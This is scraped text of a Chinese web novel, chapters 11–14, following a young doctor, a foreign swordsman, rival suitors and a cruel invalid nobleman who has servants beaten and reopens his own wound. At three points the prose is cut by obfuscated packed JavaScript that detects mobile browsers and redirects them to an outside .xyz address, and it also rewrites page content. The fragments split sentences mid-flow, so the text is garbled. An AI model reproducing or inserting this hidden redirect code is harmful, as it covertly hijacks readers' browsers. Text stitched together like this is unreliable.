0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼看着天色暗了下来,待日落西山后就黑天了,罗武不放心她一个人走在街上。 “不用的,我先走了。” 说完迈步离开,罗文沮丧的转身。 “大哥,她又拒绝我了。” 军师罗文脸色发青。 “活该!” 脸生的好,偏偏没长脑子。 …… 其实那件事情一直困扰安素雪许久,是季飞白给了她启发。 月光下年轻的郎君举着差点被扎成筛子的手臂,不可置信道:“你就是因为这点小事夜夜扎我?” “也没有夜夜吧,今日是第二天。”安素雪举着两根手指。 “我的建议是不要总从自己身上找原因,你已经找了这么多天还没有结果,说明压根就不是你的问题。” “可是……” 季飞白随手将银针取了下来,动作又快又准。 安素雪刚要提醒莫要放回她的布袋子,便见到季飞白顺手将所有银针放入一旁的空碗里,然后倒了满满一碗烈酒。 “你怎么知道要清洗过后才放回去?” 季飞白低眉看她,安素雪接话:“对,我昨日就是这样处理的。” 这些银针要继续用的,必须处理干净才成。安素雪收拾好之后,捧着装银针的布袋子思考半宿。 如果她针灸之术没问题,那人的病症为何会加重? 她想要个答案。 思来想去,她又来到那户人家门前。 不远处的墙根底下立着一道颀长身影,双手抱胸懒散的靠在那,啧了一声。 11. 第 11 章 入了春之后白昼越发的长,即使日落西山,也比之前亮堂,照的人心有点慌。 安素雪在那户人家门前徘徊踱步,时不时用手拧着衣袖。 不远处的季飞白摇了摇头。 犹豫了几个日夜,临门一脚时还不一鼓作气。 她到底在想什么? 想什么? 想的自然是陈山的名声。 安素雪脑子冷静下来后站在那户人家门口,想的是如果她贸然找来,会不会让人觉得是陈山指使她来的?会不会给医馆惹麻烦? 到时候连累的还是母亲。 所以她垂着眸子转过身,打算往回走了。 罢了,左右这件事已经了结,就此作罢算了。 “喂。” 从天而降一个人横在前路,安素雪抬头,见这人脸上带着戏谑的笑,居高临下的看她。 “怎么,不敢了?” 面容秀美的姑娘登时脸红,贝齿咬着唇,一声不吭的绕过他继续往前走。 后头季飞白不紧不慢的跟着,他声音也如脸蛋一样出色,带着说不出的清润透亮。如果,他能念诗词歌赋就更好了,而不是在她身后说有的没的。 “季飞白,”饶是好脾气的安素雪也不免恼了,杏眸圆睁,抬头气呼呼的看他。“你要做什么?” 季飞白两只手枕在脑后,悠哉的像是逛自家园子。他唇角总是噙着一抹笑意,即使打扮普通,也掩盖不住俊俏,已经惹的附近姑娘夫人偷偷看过来。 那些视线可有可无的也落在她身上,让本就通红的脸更涨的发热。为此,她迁怒于他,“你到底想怎么样?” “我想怎么样?我好像并没有碍你的事,安姑娘不是打算问个清楚吗?难道临门一脚害怕了?” 寻常人恐怕会好生安抚,再循循诱之,但季飞白言辞犀利,一阵见血道:“怕了就怕了,只是丢脸和晚上睡不着而已。” 这话戳到安素雪痛处。 这几日她当真没睡好,先是练针灸到夜里,然后躺在床上翻来覆去的睡不着,一直在想是不是自己的错。 甚至还想是自己的错怎么办?陈山嘴上说着不在意,还好声安慰她,但保不齐会对她失望。 还有母亲那里,她会不会知道自己出错?如果知道…… 这几天她眼下越发青黑,幸而没人发现。 “我没有睡不着。”她小声反驳,却显得苍白无力。 “一双黑眼圈,还想瞒着谁。”季飞白丝毫不留情,“可以,你大可以不去问,只是眼圈越来越重,隐隐有虚弱亏空之像,到时候给病患看诊时,病人说让你先给自己看看。” 刚开始安素雪没什么反应,听到最后一句时,她手握成拳,脸上神色变幻。 “去就去!” 然后像是下了某种决心似的,急匆匆的折身回去,慢慢从走变成了跑,甚至最后提着裙摆宛若翩飞的蝴蝶。 再次来到那户人家门口,安素雪重重呼吸一口气,轻轻敲门。 无人应声,她便站在外面等了一会,也就是这会功夫,瞧见院子里靠近大门处的一棵李子树下倒着药渣。寻常人家喝完药也会随便倒了,但安素雪察觉出异样来。 那处洇湿的痕迹瞧着像是刚倒的,浸透一大片,倒像是一整碗的药。 正当她胡思乱想的时候,有人出来,含糊不清道:“谁啊?” 听声音像是喝醉了? 柳叶似的弯眉微微蹙着,直到那人走到跟前,她能闻到浓重的酒气后,安素雪确定他喝酒了。 “是你啊,有事?”那人脸色坨红还打了个酒嗝。 “这几日你身体怎么样,可还咳嗽?” “一般吧,嗝~”那人边说话边打酒嗝,打开门,脚步微晃,手指着安素雪道:“你们这些大夫都丧良心!开药剂量小,得多喝好多天,就是为了多挣我们钱。” “给你开的药并未收钱,而且药性和酒性是相冲的,喝药不可饮酒,不止是影响药效的问题,对身体恢复也百害无一利。” 她温声和那人讲道理,年华正好的小娘子说起自己的行当头头是道有理有据,可落在一些人的耳朵里就显得聒噪。 “你还有脸说!”那人指着安素雪的鼻子骂,“我看你是女的才不和你计较,你们陈家医馆做的什么生意?刚开始给我看病,越看越严重,说,是不是故意拖累我,等我病重了好挣上一笔?” 这人不由分说的就来拽安素雪,喝醉的人力气极大,抓着安素雪的袖子不放手。“你也配当大夫?我看啊,你们这些大夫半点用处都没有!” “给你开的药没有收钱,而且我说了,酒会冲了药性,你若是饮酒喝药无用的。”她还在温声温气的和对方解释。 “都这时候了,你和他啰嗦什么?” 不知道何时季飞白来了,一把抓住那人,也不知道他怎么做到的,竟然轻松的卸了那人胳膊。 那人惨叫声还没喊出口,便被季飞白捂住了嘴,安素雪觉得腰间一紧,整个人被他揽进院子里,他又很快松开关好院门。 几息之间做好这些,一气呵成。 那人吃醉了酒被季飞白推到在地,左手捂着右胳膊哎呦哎呦的叫唤。 在场的唯一大夫安素雪赶忙蹲下想要查看,季飞白则是神色轻松唇角含笑对那人道:“看,你现在就需要大夫治病。” “大夫,大夫我错了,救救我!” 给那人安好了胳膊,对方已经大汗淋漓,酒醒了大半,连连道歉说出实情。 原来他不止没喝药,还一直在酗酒,所以病拖了又拖一直未痊愈。 …… 暮色四合,正是用晚饭的时辰,各家商户窗前挂起了灯笼,叫卖声和食物香气混杂,竟然觉得有点饿了。 天边日头还残余一丝光亮,走在街上不知为何有种恍然之感。 安素雪转头道:“今日的事情,谢谢你。” “怎么谢?”他问。 “你想怎么谢?”安素雪诚心诚意的发问。 “想谢我就请我吃一碗面吧,我的钱被马贼抢光了,现在身无分文。” 还是头一次听见有人将没钱说的这般理直气壮。 安素雪莞尔一笑,身上的重担彻底卸了下来。 心情变好后眉眼松散开来,笑起来灿若春花。 “我知道一家面馆还不错,请你吃。” 这是一处脸面挺阔的铺子,人来人往好不热闹,就算心情再不好,来到这也会被人间烟火气所感染。一碗热汤面下肚,大汗淋漓,好不畅快。 吃完饭,安素雪好心的带他在街上逛。 “冬日时短夏时长,这些铺子现在应当会开到很晚,你有什么想买的吗?我可以带去你。” 季飞白两只手拍出了脆响,然后双手摊开朝上,意思两手空空。 安素雪没忍住噗嗤笑出了声。 “我有钱的。” 这些日子以来她一直觉得对方高冷不好接近,没想到其实人还挺不错的。 “没什么想买的。”他道。 平日里忙碌,安素雪鲜少有出门逛街的时候,她嘴上说陪着他逛,实际上两只眼睛看来看去,瞧什么都新奇。 她在前面走,季飞白就跟在身后。身材颀长样貌俊美,光是往那一站便压过了满园春色。 安素雪则是兴奋劲过去只留下后怕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555093|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她又开始担心会给陈山惹祸,若是那户人家去告诉继父怎么办? 继父对她很好,大约不会责怪她,可她怕让母亲知道。 这些年因为带着她改嫁,母亲没少受暗地里的嘲讽,说带了个拖油瓶,还有许多难听的话。而且陈家族人对她们母女颇有微词,觉得是因为有安素雪,所以安杏花才不愿意再生孩子的。 那段时间陈家老辈日日都登门,她每次都害怕的躲在自己房间不敢出来,可训斥母亲的声音仿若会长腿似的,飞过门板,刺进她耳朵里。 秀丽的姑娘脑袋越压越低。 “他们在看你。”季飞白突然说。 安素雪回过神,这才觉得投在自己身上的视线多了不少,低头整理衣服并未有不妥之处,于是压低嗓音问他:“你帮我看看,是不是脸上有东西?” 他粗略扫过一眼,说有。 “怪不得他们老看我,在哪,你告诉我。” 她胡乱的抹了一把脸,却没摸到什么,季飞白神色认真道:“嘴边。” 难道是方才吃面的葱花? 顿感窘迫的安素雪连忙拿帕子蹭,可季飞白一直说有。 “你帮我擦一下,谢谢。” 她看见季飞白挑了下眉梢,异域少年生的俊美,面对面之下她总是不敢看他的眼睛。 “好了。”季飞白将帕子还给她。 安素雪检查了一下,没发现异物。 可能掉地上了吧,她想。 …… 此时安素雪在小摊前挑着折扇,所以不知有人来寻她。 “公子,安大夫不在。” 明明外面还有一线光亮,屋内却早就漆黑一片,甚至连一盏油灯都不曾点,只能隐约看见大致轮廓。 来禀报的是添香,脸色苍白额头沁了冷汗。好半响后听见上首处的人淡声道:“她去哪了?” “奴婢不知,医馆的人说走了好一会了,想必用不了多久就能回来,已经派人守着,待安大夫回来后立刻请来。” 阴影里的谢骧淡淡嗯了一声,添香本该退下的,但想到院子里不知死活的丫鬟,她硬着头皮求情。 “主子,春竹并非有意,还望……” 求情的话还未说完,额头一痛,随后便听瓷器碎裂之声。 “对不起主子,是奴婢冒昧!”添香立刻跪地求饶,听见动静的红袖赶忙也进来跪地,不过她是为添香说话。 谢骧捂着额头,脸上带着极为厌烦的神色,红袖暗道不好。 自从主子捡回一条命落下不良于行的病症后,性子越发的乖张阴鸷,从京城到这的路上处置了不少丫鬟仆从,院子里一大半人都是到这之后置办的,因此没那么听话懂事,总是冲撞主子,导致每日都有人被处理。 今日要处置的春竹泡的茶不对,已经被打了十个板子昏迷过去,添香和她有交情所以才想求情。 可她也不想想,不处置春竹,用谁来平息主子怒火? “再打十板子,发卖了吧。” 话音刚落,有急匆匆的脚步由远及近。 “禀公子,安大夫来了,就在二门外候着。” “叫她进来。” 他顿了顿。 “还有,把人拖走血迹处理干净,莫要有血腥气。” 添香眼睛一亮,赶忙欢喜应声。“多谢主子开恩!” 没一会安素雪就被引了进来,添香怎么看她怎么好,闹的安素雪不知如何是好。 怎么今天对我这般热情?莫不是谢公子伤势好的差不多了? 多日不见,是该痊愈了。 可在也没想到,他右手虎口处再次溃烂,看的安素雪眉头紧皱。 12. 第 12 章 这些日子安素雪忙着针灸的事情,加之谢府一直没来人,所以她便将谢公子忘之脑后。 算算日子,他的伤势该好的差不多了才是,但怎么也没想到竟然还是血肉模糊。 “是沾水了吗?”说完仔细检查伤口,没有发白起泡的部分,应该不是,反倒像是有人生生将结痂扯掉了似的。 安素雪觉得自己应该猜错了,毕竟没人会对自己那么狠厉,于是她再次温声嘱咐,说到一半,想起来这位谢公子是主子,恐怕衣来伸手饭来张口,于是她道:“谢公子,可否将红袖姑娘或者添香姑娘叫进来?我有事要嘱咐。” 每次来看诊,谢骧都让他们把门关上,丫鬟仆从一溜烟的在外面守着。 “要说什么?” 他抬眼,细长的眉眼透着危险,偏偏安素雪还不知道,正低头认真的给他包扎。 “就是嘱咐该怎么照顾你。” “你觉得他们照顾的不好?” 安素雪一愣,觉得他这话说的古怪。 “那倒是没有,不过公子身上伤处多,还需要勤于照看,别人不是大夫,或许会有疏漏之处,我多嘱咐几遍便也记牢了。” 谢骧不置可否,盯着她的侧脸看,在她有所察觉时,他垂下鸦羽似的睫毛,将眼里的神色遮盖住。 来的是红袖和添香,她们二人应该是谢公子身边的大丫鬟,在安素雪嘱咐时候连连点头。说完了,安素雪也将他的伤势包好,还带来一个好消息。 “和陈叔说过,他说认识两个老大夫,兴许会有什么办法,谢公子,你愿意让他们一起给你看腿吗?” 红袖脸上呈现奇怪的神色,像是解气和痛快的混合,唇角压不住的向上。 旁边的添香则是担忧不已,因为春竹被罚表面上看是失职没泡好茶水,实际上就是因为她多看了几眼主子的腿。 侍候年头久的老人都知道,他们主子突然不良于行后,最是忌讳旁人议论他的腿,哪怕多看几眼都会暴怒。 现在安大夫如此明目张胆的说出来…… 添香替她捏了把汗。 谁料没迎来预想中的暴怒,谢骧只是扯着嘴唇笑了一下,他生了一副好皮囊,不过眉压眼,看人时会有种锋利和压迫感。 “你帮我想的办法?” 安素雪面上带了歉意,“诚如公子的担忧,我确实年轻经验尚浅,没有把握能治好公子,因此找人帮忙,兴许会有办法。” 尤其是在那件事发生之后,安素雪对自己越发的没有信心。 叫人好生送走了安素雪,红袖端茶倒水,小心翼翼的侍候,见谢骧端着茶水浅啜,还有心思玩弄茶宠,便知道他是心情愉悦。 有心试探了句。 “公子,您当真让乡野大夫一起来诊治,要不要奴婢去调查那些人的背景?” 他们主子最是挑剔,以前在京城的时候,非山泉水不饮,非进贡的金丝米不吃。虽时过境迁,但他身份地位依旧在,想要召唤名医不是不可。 “再等等。”谢骧随口说了一句。待喝完杯盏里的热茶,随手将杯盏扔在了地上。 瓷器碎裂声吓的红袖哆嗦,连忙跪下。 “主子,奴婢知错。” 谢骧笑容淡淡,“你何错之有?挑个锋利瓷片给我。” 没弄明白他想做什么,红袖已经遵循本能去挑瓷片,双生捧着奉了上去。 只见谢骧拿手里把玩了片刻后,像是不经意似的,将最锋利那端插入刚包扎好的右手。 “主子!”红袖惊呼一声,看着他的右手又变得鲜血淋漓。 谢骧像是没事人似的,直接将瓷片扔在地上,狞笑道:“疼也总比没知觉来的好。” …… 春日正是踏青的好时节,安杏花应了友人的邀约,和陈山一起带着孩子出城游玩,陈香玉也吵着要去。 “这几日天气暖,城外的花儿肯定都开了,还有香佛寺,我们可以去那拜拜佛,顺道吃一顿斋饭,太久没吃我都想这一口了。” 陈山满眼慈爱,“谁家这么大的姑娘还只惦记着吃。” 陈香玉凑过去和父亲撒娇:“我啊,爹,去香佛寺吧,寺庙后身有一片空地,每年春夏秋都会种满了鲜花,像是一片花海。爹,我想去看。” 这次主要是想陪着妻子散心,陈山便看向了安杏花。正抱着小竹子的安杏花连忙道:“去吧,正好我也想去看看。” “看吧,都想去呢。”陈香玉高兴起来。 “安安啊,你去收拾收拾,也一起去吧。”陈山转过头对柜台后正在擦灰的安素雪道:“放在那等回来再弄。” “我就不去了,在家看铺子。”安素雪莞尔一笑,“你们去就好,尽情玩,家里有我放心吧。” 家里没有马车,得和友人一家挤在一辆马车里,安素雪懂事的不去,他们还能坐的宽敞些。 陈山又说了一遍,见安素雪坚持便道。“城里来了戏班子,下午你和飞白可以去瞧瞧。” 说完,陈山拿出一个钱袋子,陈香玉撇嘴,刚要说什么,陈山已经将钱袋子塞进安素雪手里,然后带着人走了。 目送他们上了车,待马车逐渐消失在视野里,安素雪才转过身,发现季飞白不知何时来了,正倚在门框上,笑容玩味的看她。 “给你的零花钱。”安素雪说着把钱袋子放在距离他最近的柜台上,拿起抹布,继续擦拭。 “方才叔叔说给我们两个人的,要不要去看戏?” “我……” 不待她答话,就有人喊她的名字。 “安安!安安!” 罗武像是一阵风似的卷了进来,满面通红兴奋道:“安安,戏班子有杂耍,你要不要和我一起去看?走吧,一起去吧,我早上的时候都和陈叔说过了,他说你想出去玩就出去,不用看铺子的。” “我……” 季飞白咳了两声,罗武假装才看见他,“啊,你也在啊。” 真不想叫他。 但人还在,罗武抹不开脸,便将季飞白也叫上了。加上罗文,他们四个人约好下午去看杂耍。 安素雪收拾好柜台后,又开始清扫铺子地面,她轻轻蹙着眉头,心事重重的模样。 之前的病症已经过去,百姓们好的七七八八,所以来看诊的人不多,晌午时候来了个母亲抱着孩子,说是孩子食欲不振,给买了山楂丸也没用。 “我来瞧瞧,弟弟,你几岁了?” 她家里也有个弟弟,所以对待小孩子格外有耐心。那孩子约莫比小竹子大一些,据说说话干脆利落了,可一直蜷缩在她母亲怀里,不肯露脸。 “孩子认生。”那母亲温声安抚了好一会,孩子才肯站在地上,但神色恹恹,哪怕安素雪随手拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567214|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌面上木头手托给她,她也没兴趣。 安素雪从桌子后走了出来,蹲下来和小孩柔声说话,过了好一会,小孩才放下戒备,指着自己嗓子说道:“疼。” “你张嘴我看看好吗?” 可小孩依偎在母亲身边,说什么也不肯张嘴。 “大夫啊,我家妞妞到底是怎么了啊?在家也不肯说话了,连饭都不吃,给买了山楂丸,可吃了半口就不肯吃了。” “这几天你们家里都吃了什么?兴许是她不喜欢吃。” 瞧着孩子面色还不错,方才诊脉也都一切正常,不像是生病的样子。 妇人边回忆边说:“今天一早吃的素包子,她没吃,昨天早上喝的小米粥,下午吃了热汤面,但她就喝了点汤。” “大夫啊,她以前很喜欢吃粥和面条的,饿的时候自己能吃一大碗,不可能不喜欢吃!” 知女莫若母,既然不是做饭不喜欢吃,那问题就出在别的地方。安素雪坚信,一个人不会无缘无故的不舒服,肯定有哪里不对她忽略掉了。 想了想,安素雪去柜台药箱里捏了块麦芽糖,那妇人连忙推脱:“不用了,这可是好东西,大夫啊,我、我不买。” “不要钱的,看她吃不吃。” 小孩子都喜欢吃甜食,尤其是普通百姓家,一年到头也见不到几次糖,小孩眼睛一直盯着安素雪的手,在她过来时候,没忍住吞咽口水。 “想吃吗?”安素雪笑盈盈的晃动手中的糖,小孩点头,眼睛跟随糖往上走,渐渐抬起头。 安素雪徐徐诱之,“张嘴,我放你嘴里。” 小孩把嘴巴张的老大,能轻而易举的看见里面情况。看完之后安素雪蹙眉道:“你家吃鱼了?她喉咙里卡着一根鱼刺。” 扎入肉里,那片肉红的发肿,应该已经好几天了。 妇人大骇,“还是五天前吃的鱼!妞妞你过来娘看看。” 说着就去掰小孩的嘴巴,但小孩哭哭啼啼不配合。 “大夫啊,那我出去给她买个馒头,咽下去就好了,或者回家让她喝口醋。” 既然找到病症,妇人就不想多留,讪讪笑道:“我没开药,给你诊费就行吧。” 陈家医馆看诊很便宜,一次两个铜板。那妇人把钱放在桌子上就要领孩子走,安素雪叫住她。 “不知道卡的多深,贸然吃馒头噎会让鱼刺往下划,容易造成严重划伤。我来吧。” 她取来桌子底下放着的药箱,里面有两层,最上面放着那把心头好精致小剪。拿起来她又放下,摸向一旁竹片做的夹子。约莫食指宽,很薄,用起来顺手。 “妞妞,你张嘴让我把鱼刺拔出来,糖块就给你好不好?” 小孩抱着娘往身后躲,安素雪追,饶了一圈又一圈。 妇人也在劝,可孩子不肯她也没办法。 正当焦灼之时,忽听一句凌厉的声音。“谁在哭闹?” 从后门走出来穿着一身短打的季飞白,眉眼深邃的年轻郎君不苟言笑时看起来如他手中的剑似的,锋芒毕露,利剑出鞘。 哇的一声,小孩哭了,乖乖张嘴,安素雪顺利夹出鱼刺,又给小孩吃糖安抚,送走了母女。 “没想到你还会吓唬小孩。” 安素雪笑着看他。 季飞白擦拭剑鞘,神色懒散。 “有吗?” 13. 第 13 章 戏班子每日下午才开场,不过表演时间也长,直到日落西山天黑之后才会结束。 在医馆呆了一天,安素雪身上都是药味,正好陈香玉不在,她烧了热水在房里擦洗后换了一套干爽衣服。 推门出来时正好碰上季飞白出来。 自打他身上好的差不多后,他便开始习武,安素雪见过几次,不太懂他练的是什么,只觉得招式过于凌厉,兴许只有这样他才能在马贼手里留下一条命。 他应当也沐浴过,因为高高束起的发丝上还带着水汽,洗过的眼眸越发迷人。 “你脸红什么?”季飞白突然发问。 “没有吧,”安素雪赶忙低下头,下意识摸了下脸颊,确实发热,她道:“刚才用热水洗脸来着。” 季飞白已经跨步出去,头也不回道:“这么热的天还用热水。” “要你管。”她小声嘀咕。 俩人刚出来,隔壁的罗家双生子早就站在门口等了,罗武见到她过来,立刻整理自己,企图给安安留下最好的印象。 罗文倒是还穿着白日那套衣服,在看见季飞白时候,他眼眸一暗。 罗武这个蠢的叫季飞白做什么? 有他在不管怎么打扮都会黯然失色。 “安安,你穿浅紫色很漂亮。” 像是一条狗似的往安素雪身边去,绕着她打转。 罗文不由自主的捏着额角,觉得在家千叮咛万嘱咐都没用,见到安安就都抛之脑后去了。 戏班子临时找了个空地演出,就在城东那片,他们得从城中走过去。小城池虽然不大,但五脏俱全,护城河贯穿整个城池,给百姓们便利之用。 想要去城东,便得过桥,大抵是都去看戏班子杂耍,桥上摩肩擦踵川流不息,罗文和罗武早就不知道被挤到哪去了。 安素雪生的纤细瘦弱,被人挤的喘不过气,只抿着唇低头看路。 “不会说话?” 旁边横过来一只胳膊,虚虚的将人揽住,把外人隔开,总算让她松了口气。 安素雪悄悄侧头,只能看见他蜜色的下颚。他母亲肯定是个美人,安素雪想。 总算过了桥,百姓们四散,站在人群里张望的罗家兄弟找到目标,罗武一马当先凑过来,把原本在安素雪身边的季飞白挤走。 罗文则是默不作声的观察英俊昳丽的异域少年,发现他神色如常,甚至还好奇的观察四周。 罗文一直以来提着的心放下了。 看来他对安安并没有别的意思。 不怪罗文想的多,若是季飞白当真也喜欢安安,罗武半点机会都不会有。幸而附近没什么其他竞争者,罗文斟酌过后,觉得只要弟弟按照他的办法来,或许年底就能将婚事定下。 一路来到看杂耍的地方,明明他们出来的时辰够早,但还是没能占好位置。安素雪踮着脚尖往里探头看,看到热闹之处笑着鼓掌。 季飞白身量高,站在那简直是鹤立鸡群。他双手抱胸神态自得,对戏班子喷火胸口碎大石等小把戏无甚兴趣,后来变戏法,他才专心致志看了起来。 台子上的表演者是个长脸中年男人,笑眯眯给大家展示他手里的红丝绸,正反面展示一遍后他将其放在手心里捂住。 “你们说这里有什么?”那人左右走了一圈,有个小孩脆生生道:“有红巾子!” 中年男人还是笑眯眯的,“那你可就猜错了。” 话音刚落,他两只手张开,竟然从手心里飞出一只鸽子! 掌声雷动,欢呼叫好声一片,看着那鸽子越飞越高,最后变成一个白点消失在黄昏的天边里。 安素雪仰头一直看着鸽子的方向,眼睛的惊喜化作实质,漂亮的杏眸睁大,顿显的圆润可爱。 她站在中间,左边是罗文和罗武,右边是季飞白。罗文瞧瞧看她,想到当年那个瘦弱的小姑娘竟然出落成这般亭亭玉立,心中感叹之余还有点他自己都琢磨不透的情绪。 接下来表演继续,罗武看的起劲一直拍手鼓掌,忽觉腰侧一痛,他侧头,罗文对他使眼色。 遭了!差点忘了! 罗武凑过来问道:“安安,你渴不渴?我去给你买绿豆水吧。” 安素雪摇头,虽然她确实有点口渴,但表演太过精彩,她不想让别人因为她而错过演出,便说自己不渴。 罗武挠挠头,不知道怎么办好了。 如此对话进行了几次,表演结束,他们要往回去了,罗武有点挫败,觉得今天好像没什么进展。 路上的百姓喜气洋洋都在讨论戏法到底是怎么变出来的,安素雪也着实好奇,提了几个想法但都觉得行不通。 罗武绞尽脑汁,他想着如果能帮安安想明白,他一定会对他刮目相看! “我猜一定是藏在红布里!” “可他展示了,里面什么都没有的,”安素雪认真道:“而且他后来将其放在掌心里,压成那样,怎么会有鸽子呢?” 罗武说不出话了,倒是罗文见弟弟屡战屡败,于是开口帮忙道:“安安喜欢可以再来。” 安素雪登时露出笑意:“好。” 季飞白落在他们身后两三步远的地方,看清楚双生子的小动作。 哥哥偷偷拉弟弟,弟弟立刻懂事道:“天气一日比一日热的慌,安安,你在这等我,我去买绿豆水。” 确实口渴了,安素雪没阻止,几个人找个人少的墙边站着等。罗文一直在和安素雪说话,讨论方才的戏法。季飞白则是头枕着双臂,懒洋洋的靠在那。 他身量比罗家兄弟还高出半头,比身高更打眼的是他的样貌,人来人往都会忍不住看他几眼。 一个年岁和安素雪差不多的姑娘被季飞白所吸引,不由自主的走过来,正愁怎么搭话,余光瞥见了安素雪,立刻笑嘻嘻的迎上去。 “安姑娘。” “余姑娘。” 两个姑娘家说话,罗文自动退开几步。季飞白没动,还是那副懒懒散散的样子,所以将她们的对话尽数收进耳中。 “过几日我府上举办赏花宴,安姑娘不嫌弃的话赏脸过来吧,人多热闹。” 安素雪犹豫了片刻。 余姑娘笑着道:“知道安姑娘沉醉医道,恐怕没有时间与我们这些凡夫俗子游玩,但人嘛,总要歇歇,就当换心情了。” 季飞白侧过头,琥珀色的眼眸扫向她们二人。 那个姓余的又说了不少话,季飞白挑眉,最后看着不情不愿的安素雪点头同意。 …… 夜里安素雪照旧怕打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582118|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰陈香玉休息,所以拿着东西出来,不出意料的看见季飞白坐在墙头上。 他似乎刚练完剑,正擦拭灰尘,只掀了掀眼皮看她一眼,又继续低头做事。 这些日子他们都是如此,因怕打扰其他人所以默不作声的做自己事情,虽然不说话,但安素雪总觉得有季飞白在,好像深夜苦修也没那么难捱。 月上高梢,到了该入睡的时辰。安素雪打了个哈欠起身,小声道:“我要回去睡觉了,有你陪着真好。” 墙头上赏月的异域少年头都没抬,嗤笑道:“谁要陪你。” 说完轻巧的跳下来,先她一步回房了。 …… 医馆没之前那般忙碌了,有时候陈香玉出门玩,陈山也会让安素雪出去,他道:“现在天气好,可以出去踏青游玩,再不济也上街逛逛。” 安素雪只是笑笑,说在铺子里忙碌挺好的。 黄昏时候陈香玉才回来,手里拎着买的胭脂水粉还有一些其他小玩意儿。陈山看向安素雪,见她无动于衷的在写方子。 这孩子,从小到大都是这样。 陈山便提了一句,说让陈香玉出门时候带着安素雪。 “哎呀,爹,你又不是不知道,我那些朋友她都不认识。再说了,让她自己和朋友出去玩才放得开。哦,我知道了……” 专心做事的安素雪格外刺眼,陈香玉免不了阴阳怪气道:“她没什么朋友,所以才不出去玩的。” 安素雪写字的手一顿,墨汁落下,她急忙蘸取划开,幸而无甚大碍。 陈山呵斥住陈香玉,让她赶紧回后院去。 有心想要安慰安素雪却不知如何说起。 这孩子年幼时就来了陈家,刚开始几年性子沉闷瘦瘦小小的一个,十岁之后才开始和他亲近。但不知道怎么回事,小姑娘很少出去交朋友,每日在医馆里泡着。 每个人性格不同,陈山不强求,就想着孩子能过的快活一些看,再过几年就嫁去别人家了。 胡思乱想的时候,罗武急匆匆的进来,先和陈山打了招呼然后往安素雪身边凑。 “安安,今天还去看表演戏法啊?” 清丽的姑娘摇头,鸦羽似的睫毛垂下,殷红的唇抿了抿。罗武盯着她的嘴唇,只觉得口干舌燥,这是以前从未有过的感觉。 “不了,前几日都看过了。” 像是被浇了一盆冷水,罗武缓过神来,连忙道:“不一样,昨日就换了新戏法,保管你没看过。” 陈山在一旁帮腔,安素雪推诿不过,便点头说好。 眼看着快到时辰了,陈山说:“安安啊,你快收拾好去吧。” 安素雪说要回去换一身衣服,罗武说他也要换衣服。 换好衣服出来时碰见季飞白在练剑,她朝他笑了笑,季飞白面无表情。 “出去?” 安素雪点头。 季飞白不说话,手臂出势如风,剑如闪电,隔着几步远的安素雪都能感受到凌厉剑气。 这人怎么了? 安素雪摇摇头没当回事,毕竟这个异域少年一直都奇奇怪怪。 出了门和罗武碰面,“罗文哥不来吗?” 昏黄光亮下他眼眸闪烁,沉声道:“他有事,安安,我们走。” 14. 第 14 章 这次只有罗武和她去看戏班子,安素雪刚开始还有点不适应。 因为这些年他们双生子做什么好像都是一起,俩人样貌一样穿着一样,她刚来时候分不清还闹出过笑话。 不过他们长大之后就很好区分了,罗武跳脱,罗文稳重,而且面相上看罗文更为谦和,罗武憨厚。 这次他们出来的早,路上没有那么多行人,可罗武还是伸出一条胳膊挡在她身前,还道:“人多,莫要冲撞了你。” 安素雪莞尔一笑:“没事的,何况人不多。” 罗武只是笑笑,没收回手,幸而他有此举动,过桥的时候安素雪脚下一空,及时扶住罗武才不至于崴脚。 到了地方,安素雪本以为还像是上次一般站在外面,但没想到罗武拉着她的手,“往里去。” 他们是青梅竹马一起长大,双生子比她年长一岁,她一直当他们是兄长。就像是此刻,宽厚干燥的手掌带给她安全感,安素雪不由自主的露出笑意。 前面的罗武挤开人群,用宽厚的脊背给安素雪开路,背过身的那只手牢牢的牵住她,走了一会来到最前面,有个幼童笑嘻嘻:“看,我给你占的好位置,不错吧?” 罗武掏出三个铜板给幼童,那小孩笑嘻嘻的跑开了。 罗武的手还握着安素雪的手,他生的不算黑,但和肌肤凝雪的姑娘相比,就显得小麦色,一黑一白交握着,落在罗武眼中,有种奇异感觉。 安素雪还在观望,并没有发现他依旧握着她的手,罗武垂下眸子,到底松开了。 “安安,坐。” 他们占的是第一排的位置,可以自带板凳,那小童就是帮忙放板凳占地方的,让安素雪坐下之后,罗武道:“安安,你先在此等候,我去去就来。” 不知道他去做什么,但安素雪还是点了点头。片刻后罗武归来,手里拿着油纸包和竹筒。 “你爱吃的酸枣糕和牛乳糕,这个是绿豆水。” 